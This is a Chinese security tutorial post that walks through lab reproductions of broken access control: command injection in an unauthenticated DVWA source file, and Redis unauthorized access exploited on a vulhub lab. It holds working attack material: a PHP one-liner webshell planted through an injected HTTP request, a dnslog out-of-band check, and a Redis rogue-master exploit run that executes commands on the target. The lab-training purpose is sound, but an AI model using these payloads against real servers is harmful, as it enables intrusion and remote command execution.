失效的访问控制及漏洞复现

news2024/11/15 15:43:11

失效的访问控制(越权)

1. 失效的访问控制(越权)

1.1 OWASP TOP10

1.1.1 A5:2017-Broken Access Control

未对通过身份验证的用户实施恰当的访问控制。攻击者可以利用这些缺陷访问未经授权的功能或数据，例如：访问其他用户的帐户、查看敏感文件、修改其他用户的数据、更改访问权限等。

1.1.2 A01:2021-Broken Access Control

访问控制强制实施策略，使用户无法在其预期权限之外进行操作。失败的访问控制通常会导致未经授权的信息泄露、修改或销毁所有数据、或在用户权限之外执行业务功能。

1.2 失效的访问控制类别

权限移动方向

1.2.1 水平越权

越权：大概率指的是在同级别账户之间横向移动，并且大概率指的是web应用

1.2.2 垂直越权

提权：大概率指的是操作系统漏洞提权，普通用户获取管理员权限

1.3 攻防案例

1.3.1 DVWA越权

POST /dvwa_2.0.1/vulnerabilities/exec/source/low.php HTTP/1.1 Host: 192.168.111.15
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.111.15/dvwa_2.0.1/vulnerabilities/exec/source/
Connection: close
Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded Content-Length: 77

ip=127.0.0.0.1|echo+"<?php+@eval($_REQUEST[777])?>"+>+shell.php&Submit=Submit
1.3.1.1 实操

在部署了DVWA的服务器中打开C盘->打开phpstudy->打开WWW->打开DV，我们关心的是config（全局配置），hackable(在hackable中有flags<被包含的文件>，upload<上传的文件>)，vulnerabilities(漏洞点)

启动bp，打开浏览器访问DVWA，点击命令注入（Commod Injection） 进行命令注入，输入127.0.0.1

使用bp进行抓包，抓取命令注入的数据包，发送重发器

image-20230901162109602

发现结果执行了ping命令，ping的是127.0.0.1，说明此处有命令拼接，可执行额外的命令。做命令拼接执行命令的逻辑

command1 & command2		#执行command1命令没有问题的时候再执行command2
command1 | command2		#管道符执行command1的结果作为command2的输入
command1 || command2	#command1执行失败则执行command2，command1执行成功则不执行command2
command1 ; command2		#command1执行结束再执行command2

执行额外命令，使用&进行分隔因为原本数据包中已有&，那么进行命令分隔的&需要进行url编码，选中分隔命令的&按Ctrl+u

image-20230901163917755

image-20230901164127912

点击发送（send）

image-20230901164443041

发现cookie中security的值是low，说明是初级的；承载初级的脚本在vulnerabilities下的exec中的source文件中

image-20230901164829923

打开low.php查看源代码，整个文件没有做访问控制限制，也就是说在退出登录的情况下依然能访问low.php。

image-20230901165454976

复制low.php的路径，退出DVWA登陆，访问

http://192.168.16.136/dv/vulnerabilities/exec/source/low.php

image-20230901165817182

界面为空，针对这个界面就可以进行命令执行。bp找到当前页面的数据包，发送重发器，点击发送(send)，页面没有做任何响应。

image-20230901170049576

删除cookie并将数据提交方式改为POST（右键点击Change request method）同时传两个变量：ip=127.0.0.1%26whoami&Submit=Submit。首先给一个submit保证绕过low.php代码中的if判断，再给个IP就可以进行ping命令的拼接。但是数据包的响应无回显。

image-20230901170843407

返回的结果也无法判断命令执行成功与否，将whoami命令更换为calc（打开计算器），部署dvwa靶场的服务器中弹出计算器，说明命令执行成功。

image-20230901171204916

dvwa要求是需要用户登录的情况下才能回答dvwa里的题目，但是我们刚才的操作时不用登录就回答了dvwa里的题目，虽然没有回显，但是漏洞检测的时候只关心命令是否执行，只要命令执行了，不管有没有回显就说明此处就是未授权访问漏洞（失效的访问控制。）

1.3.1.2 使用漏洞写webshell

执行

echo xujie >xujie.txt

image-20230901173405179

来到/exec/source目录下，有新建的xujie.txt文件。

image-20230901173600728

image-20230901173650253

一般在目标某一目录下新建文件，动作会比较大，使用dnslog.cn平台点击创建域名，对域名进行解析

nslookup 域名

image-20230901174307134

image-20230901174451215

image-20230901174932455

image-20230901175016716

解析完成后查看dnslog.cn平台有没有解析记录，如果有解析记录说明nslookup执行成功了。

创建一句话木马

echo "<?php @eval($_REQUEST[777])?>" >shell.php

image-20230901175639502

image-20230901175803008

访问shell.php，然后使用蚁剑连接

image-20230901180420500

image-20230901180523715

1.4 相关漏洞

1.4.1 目录遍历

目录穿越，目录遍历，Directory Traversal。.Web用户，通过某种方式，可以访问Web根目录以外的文件甚至执行系统命令。

造成目录遍历漏洞的原因：

  • 文件包含
  • 文件读取
  • RCE

1.4.2 未授权访问

未授权访问，Unauthorized Access。==重要资产根本没有做访问控制限制，==导致黑客攻击者可以在没有授权的情况下操作重要资产，包括读写文件，执行命令等敏感操作。

2. 未授权访问

2.1 Redis 未授权访问

不使用账号密码的情况下访问数据库，Redis 未授权：由于数据库未授权访问了，导致敏感数据泄露；数据库能够读写文件，利用未授权访问漏洞进行漏洞攻击的话就可以去写shell，创建SSH公钥，计划任务反弹shell；

2.1.1 Redis 介绍

Redis是非关系型数据库系统，没有库表列的逻辑结构，仅仅以键值对的方式存储数据。

Redis数据库经常用于Web应用的缓存。

Redis可以与文件系统进行交互。

Redis监听TCP/6379

Redis数据库端口号：6379

2.1.2 Redis 简单使用

Redis 未设置密码，客户端工具可以直接链接。

┌──(ajest�� zh-CN)-[~/vulhub/vulhub/redis/4-unacc]
└─$ redis-cli -h 127.0.0.1 127.0.0.1:6379> set name AJEST OK
127.0.0.1:6379> get name "AJEST"
127.0.0.1:6379> config set dir /tmp/
OK
127.0.0.1:6379> config set dbfilename ajest.txt OK
127.0.0.1:6379> save OK
127.0.0.1:6379>

2.1.3 Redis 未授权访问

读取数据库内容读写系统文件执行系统命令
数据泄露直接写WebShell
计划任务反弹shell
SSH免密登录		redis-rogue-getshell

2.2 Redis 实操

2.2.1 环境搭建

CD到/vulhub/redis/4-unacc目录下，输入

sudo docker-compose up -d

打开Redis环境

image-20230901194738297

2.2.2 漏洞利用

sudo docker ps -a

查看端口号

image-20230901195308070

输入

redis-cli -h 127.0.0.1		#-h指定参数，连接本机的reids数据库

在没有账号密码的情况下直接连上了redis数据库。说明数据库存在未授权访问漏洞。

image-20230901195442400

redis数据库是以键值对进行存储数据的。就可以将redis数据库想象成一个超大的数组。redis数据库经常做缓存。

config set dir /tmp/
config set dbfilename xujie.txt		#将数据库存储在xujie.txt文件中，这个文件在tmp下

image-20230901201448743

因为连接的是docker容器的数据库，CD到容器中查看创建的数据库是否存在。

sudo docker exec -it 9a4f956818dc /bin/bash		#-it是指容器的id，/bin/bash是指登录到9a4f956818dc这个容器

为了证明创建的数据库是否存在并且具有读写权限。

ls /tmp
cat /tmp/xujie.txt

image-20230901201611494

4-unacc存在主从复制漏洞，而主从复制是可以执行系统命令的，执行系统命令需要一个Exploit脚本

image-20230901202645978

cd tools
proxychains git clone https://github.com/vulhub/redis-rogue-getshell.git

image-20230901203715677

cd redis-rogue-getshell
cd RedisModulesSDK 
make
cd ..
python3 redis-master.py -r 127.0.0.1 -p 6379 -L 192.168.16.175 -P 8888 -f RedisModulesSDK/exp.so -c "id"

image-20230901204950627

python3 redis-master.py -r 127.0.0.1 -p 6379 -L 192.168.16.175 -P 8888 -f RedisModulesSDK/exp.so -c "whoami"

image-20230901205054316

此处可以针对数据库的漏洞进行漏洞利用

2.2.3 漏洞检测

利用工具unauthorized用与检测未授权访问漏洞。一共提供了三十八种漏洞检测

cd ~/tools
ls 
cd unauthorized_com 
python3 unauthorized_com.py -i 127.0.0.1

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.coloradmin.cn/o/973329.html

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈，一经查实，立即删除！

相关文章

高速信号应如何走线？这些规则千万别走错

高速信号应如何走线？这些规则千万别走错

提起高速信号的设计与布线&#xff0c;可能很多工程师都能头头是道&#xff0c;但放在实际设计中却大部分不可行&#xff0c;这篇文章将向电子工程师介绍一些关键规则&#xff0c;确保在电路板上传输高速信号时获得最佳性能&#xff0c;注意这些规则千万别走错&#xff01; 1、…
阅读更多...
Java后端开发面试题——JVM虚拟机篇

Java后端开发面试题——JVM虚拟机篇

目录 什么是程序计数器&#xff1f; 你能给我详细的介绍Java堆吗? 什么是虚拟机栈 1. 垃圾回收是否涉及栈内存&#xff1f; 2. 栈内存分配越大越好吗&#xff1f; 3. 方法内的局部变量是否线程安全&#xff1f; 4.什么情况下会导致栈内存溢出&#xff1f; 5.堆栈的区别…
阅读更多...
Weblogic SSRF【漏洞复现】

Weblogic SSRF【漏洞复现】

文章目录 漏洞测试注入HTTP头&#xff0c;利用Redis反弹shell redis不能启动问题解决 Path : vulhub/weblogic/ssrf 编译及启动测试环境 docker compose up -dWeblogic中存在一个SSRF漏洞&#xff0c;利用该漏洞可以发送任意HTTP请求&#xff0c;进而攻击内网中redis、fastcgi…
阅读更多...
Unity设置TextMeshPro文本超出范围显示...

Unity设置TextMeshPro文本超出范围显示...

TextMtshPro文本超出范围&#xff0c;展示省略。选择Overflow为Ellipsis。
阅读更多...
链表的中间节点（每日一题)

链表的中间节点（每日一题)

“路虽远&#xff0c;行则将至” ❤️主页&#xff1a;小赛毛 ☕今日份刷题&#xff1a;移除链表元素 题目描述&#xff1a; 给你单链表的头结点 head &#xff0c;请你找出并返回链表的中间结点。 如果有两个中间结点&#xff0c;则返回第二个中间结点。 示例1: 输入&#…
阅读更多...
AI数据标注迈入自动化时代，26年老兵掘金全球智能汽车市场

AI数据标注迈入自动化时代，26年老兵掘金全球智能汽车市场

4D数据标注&#xff0c;掀起了业界新风向。 一是以BEV为代表的感知技术&#xff0c;输出的空间从2D透视图像转换到了3D空间&#xff0b;时序维度&#xff0c;4D标注应运而生&#xff1b;二是4D标注借助点云级别或object级别的重建&#xff0c;通过人工标注积累原始数据&#x…
阅读更多...
Calico BGP通信分析

Calico BGP通信分析

Calico BGP通信分析 BGP网络模型 BGP网络相比较IPIP网络&#xff0c;最大的不同之处就是没有隧道设备tunl0&#xff0c;pod之间的流量直接从宿主机通过arp下一跳到目的地宿主机&#xff0c;减少了tunl0环节 BGP两种模式&#xff1a; 全互联模式(node-to-node mesh)——全互联…
阅读更多...
批量采集的时间管理与优化

批量采集的时间管理与优化

在进行大规模数据采集时&#xff0c;如何合理安排和管理爬取任务的时间成为了每个专业程序员需要面对的挑战。本文将分享一些关于批量采集中时间管理和优化方面的实用技巧&#xff0c;帮助你提升爬虫工作效率。 1. 制定明确目标并设置合适频率 首先要明确自己所需获取数据的范…
阅读更多...
陇剑杯2023WriteUp学习笔记【初赛】

陇剑杯2023WriteUp学习笔记【初赛】

文章目录 数据分析1、hard_webhard_web_1hard_web_2hard_web_3 2、sevrer savesevrer save_1sevrer save_2sevrer save_3sevrer save_4sevrer save_5sevrer save_6sevrer save_7sevrer save_8 3、WiresharkWireshark1_1Wireshark1_2Wireshark1_3Wireshark1_4 4、Incidentrespon…
阅读更多...
C++信息学奥赛1187：统计字符数

C++信息学奥赛1187：统计字符数

#include <bits/stdc.h> using namespace std; int main() {string arr;cin >> arr; // 输入一个字符串int n, a, max; // 定义变量n, a, maxchar ArrMax; // 定义字符变量ArrMaxn arr.length(); // 获取字符串长度max a 0; // 初始化max和a为0// 外层循环&…
阅读更多...
GPT引领前沿与应用突破之GPT4科研实践技术与AI绘图教程

GPT引领前沿与应用突破之GPT4科研实践技术与AI绘图教程

详情点击链接&#xff1a;GPT引领前沿与应用突破之GPT4科研实践技术与AI绘图教程 前沿 GPT对于每个科研人员已经成为不可或缺的辅助工具&#xff0c;不同的研究领域和项目具有不同的需求。如在科研编程、绘图领域&#xff1a;1、编程建议和示例代码: 无论你使用的编程语言是Py…
阅读更多...
Java多线程篇(1)——深入分析synchronized

Java多线程篇(1)——深入分析synchronized

文章目录 synchronized原理概述锁升级 初始状态偏向锁偏向锁获取/重入偏向锁的撤销/重偏向和升级批量重偏向和批量偏向撤销偏向锁的释放 轻量级锁轻量级锁获取/重入轻量级锁膨胀轻量级锁释放 重量级锁重量级锁获取/重入重量级锁释放重量级锁的降级 其他锁粗化、锁消除调用hashc…
阅读更多...
Elasticsearch 中的向量搜索：设计背后的基本原理

Elasticsearch 中的向量搜索：设计背后的基本原理

作者&#xff1a;ADRIEN GRAND 实现向量数据库有不同的方法&#xff0c;它们有不同的权衡。 在本博客中&#xff0c;你将详细了解如何将向量搜索集成到 Elastisearch 中以及我们所做的权衡。 你有兴趣了解 Elasticsearch 用于向量搜索的特性以及设计是什么样子吗&#xff1f; …
阅读更多...
【ROS】例说mapserver静态地图参数（对照Rviz、Gazebo环境）

【ROS】例说mapserver静态地图参数（对照Rviz、Gazebo环境）

文章目录 例说mapserver静态地图参数1. Rviz中显示的地图2. mapserver保存地图详解3. 补充实验 例说mapserver静态地图参数 1. Rviz中显示的地图 在建图过程中&#xff0c;rviz会显示建图的实时情况&#xff0c;其输出来自于SLAM&#xff0c;浅蓝色区域为地图大小&#xff0c…
阅读更多...
SAP GUI登陆界面图片更换

SAP GUI登陆界面图片更换

导语&#xff1a;SAP登陆界面的图片不太好看&#xff0c;换一个客户需要的图片上去。 一、上传至SMW0 将准备好的图片&#xff0c;通过事物码SMW0进行上传。 二、更改配置表 事物码SM30&#xff0c;更改配置表【SSM_CUST】&#xff0c;以调用上传的图片 三、效果展示 作者…
阅读更多...
Redis6搭建高可用的多主多从集群

Redis6搭建高可用的多主多从集群

Redis6搭建高可用的多主多从集群 环境准备搭建redis6集群安装redis6修改配置文件修改cluster-enabled修改cluster-config-file修改cluster-node-timeout 启动集群 环境准备 首先我们需要6台redis&#xff0c;那么为啥是6太呢&#xff1f;是因为我们要部署多master和多slaver集…
阅读更多...
SpringCloudAlibaba之Sentinel介绍

SpringCloudAlibaba之Sentinel介绍

文章目录 1 Sentinel1.1 Sentinel简介1.2 核心概念1.2.1 资源1.2.2 规则 1.3 入门Demo1.3.1 引入依赖1.3.2 集成Spring1.3.3 Spring中资源规则 1.4 Sentinel控制台1.5 核心原理1.5.1 NodeSelectorSlot1.5.2 ClusterBuilderSlot1.5.3 LogSlot1.5.4 StatisticSlot1.5.5 Authority…
阅读更多...
ESP-C3入门23. I2C读写外部存储器

ESP-C3入门23. I2C读写外部存储器

ESP-C3入门23. I2C读写外部存储器 一、准备工作1. 开发环境2. ESP32-C3 I2C资源介绍 二、主要函数1. 配置驱动程序2. 源时钟配置3. 安装驱动程序4. 通信5. 指示写入或读取数据 二、实现步骤1. 配置 I2C 总线&#xff1a;2. 初始化 I2C 总线&#xff1a;3. 与外部存储设备通信&a…
阅读更多...
华为OD机试 - 找出经过特定点的路径长度 - 深度优先搜索（Java 2022 Q4 100分）

华为OD机试 - 找出经过特定点的路径长度 - 深度优先搜索（Java 2022 Q4 100分）

目录 专栏导读一、题目描述二、输入描述三、输出描述四、解题思路五、Java算法源码六、效果展示1、输入2、输出3、说明 华为OD机试 2023B卷题库疯狂收录中&#xff0c;刷题点这里 专栏导读 本专栏收录于《华为OD机试&#xff08;JAVA&#xff09;真题&#xff08;A卷B卷&#…
阅读更多...
特征值，特征向量，SVD分解，PCD分解

特征值，特征向量，SVD分解，PCD分解

特征值&#xff0c;特征向量&#xff1a; 对于n阶方阵A&#xff0c;在A张成的空间里&#xff0c;存在非零向量v&#xff0c; 该向量转换到A张成的空间时&#xff0c;方向不变&#xff0c;大小变为λ倍。 ① Av λv 变换一下&#xff1a; ② (A - λI)v 0 对于A向量&#x…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023